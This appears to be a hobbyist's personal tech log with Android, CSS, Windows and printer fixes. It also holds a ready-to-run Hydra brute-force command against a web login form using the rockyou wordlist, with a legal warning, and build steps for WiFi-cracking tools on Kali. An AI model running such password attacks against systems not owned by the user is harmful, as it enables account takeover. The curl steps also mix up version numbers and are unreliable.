Nothing fancy, just a personal log with a built in search function so I can recall what is easily forgotten.
Wednesday, May 1, 2019
Fix Scanner Failure Message on HP Officejet 4500 printer
Saturday, April 20, 2019
Android FusedLocationProviderClient
setContentView(R.layout.main);
wargps = (EditText) findViewById(R.id.wargps);
locbtn = (Button) findViewById(R.id.locbtn);
locbtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
FusedLocationProviderClient fusedLocationProviderClient =
LocationServices.getFusedLocationProviderClient(getApplicationContext());
Task task = fusedLocationProviderClient.getLastLocation();
task.addOnSuccessListener(new OnSuccessListener() {
@Override
public void onSuccess(Location location) {
if(location!=null) {
wargps.setText(location.getLatitude()+" "+location.getLongitude());
locbtn.setText("Got Location");
}}});
}
});
Friday, March 15, 2019
Android Picasso vs s33me code
I spent several hours tweaking my own loading of images into an Android ListView. The problem was that the images would not load until I scrolled the screen and even then the lag was unacceptable.
My program performed the following:
Essentially, this produces statements like the following:
holder.imageView = (ImageView) convertView.findViewById(R.id.row_image);
holder.imageView.setImageBitmap(rowdata.getBitmap());
This is from inside the object rowdata
public Bitmap getBitmap() {
if (bitmapurl != null && !bitmapurl.equals("")) {
new ImageLoadAsync(context).execute(bitmapurl);
} else {
// default image if nothing from url
bitmap = BitmapFactory.decodeResource(context.getResources(), R.drawable.war4a);
}
return bitmap;
}
This is the background thread portion of the Async call:
@Override
protected Bitmap doInBackground(String... urls) {
String surl = urls[0];
Bitmap bm = null;
try {
URL imageUrl = new URL(surl);
bm = BitmapFactory.decodeStream(imageUrl.openStream());
} catch (IOException e) {
e.printStackTrace();
bm = BitmapFactory.decodeResource(context.getResources(), R.drawable.war4a);
}
return bm;
}
This is just a portion of the cumbersome code. As an experienced programmer, I should have known not to reinvent the wheel, but I just could not help myself
At the end of the day, this line of code replaced all that nonsense
Picasso.with(context).load(rowdata.getBitmapUrl()).into(holder.imageView);
Wednesday, February 13, 2019
HTML / CSS Freeze Page Header
Below is my code. The "bottom" and "top" parameters seem to be the key; however, be advised that I have not yet tested this on a variety of screen configurations.
#titlepane {
float:left;
background-color: #ffffff;
width:100%;
padding:10px;
bottom:65%;
position: fixed;
box-shadow: 8px 8px 10px #999999;
z-index:2;
}
#scrollbelowtitle {
position:fixed;
float: left;
clear:left;
top: 35%;
padding: 10px;
height: 500px;
width: 100%;
overflow-y: scroll;
z-index:1;
}
Sunday, February 3, 2019
Hydra Command Line Arguments on Lenovo Yoga Book/Debian Linux.
Example of Hydra command line arguments that seem to be running through the iterations.
sudo hydra -l myusername -P /usr/share/dict/rockyou.txt -o output.txt thetarget.com http-post-form "/login.cfm RetURL=%2FDefault%2Easp%3F:login_name=^USER^&password=^PASS^:S=logout myusername" -vV -f
Do not let this run through completion or to success if target.com is not a website that you own, unless you want to go to jail.
Sunday, December 30, 2018
Kali Linux WiFite missing hcxpcaptool and hcxdumptool
Go to the hcxdumptool git hub site
Find the clone of download drop down button.
Right click on download zip and copy the link address.
Open and Kali Linux terminal and type: wget [the link address], e.g. wget https://github.com/ZerBea/hcxdumptool/archive/master.zip
Wait for download then type unzip master.zip
CD (change directory) to hcxdumptool-master
Type make
Type sudo make install
Follow these same steps for the hcxpcaptool.
For example: wget https://github.com/ZerBea/hcxtools/archive/master.zip
You may find it first necessary to run the following:
sudo apt-get update
sudo apt-get install libssl-dev
sudo apt-get install openssl
sudo apt-get install zlib1g-dev
sudo apt-get install libpcap-dev
sudo apt-get install curl
sudo apt-get install libcurl4 ( or greater )
wget https://curl.haxx.se/download/curl-7.63.0.tar.gz
:~/tar -xvzf curl-7.48.0.tar.gz
:~/rm *.gz
:~/cd curl-7.48.0
:~/./configure
:~/sudo make
:~/sudo make install
Monday, December 10, 2018
Visual Studio C# Run Error
I am attempting to launch a project that I copied from another machine.
Unable to launch the IIS Express Web server.The start URL specified is not valid. https://localhost/.....
Need to dropdown [Project] -> [Web Properties] -> Un-check Override Application Root.
Then get on your motorcycle and reward yourself for a job well done.





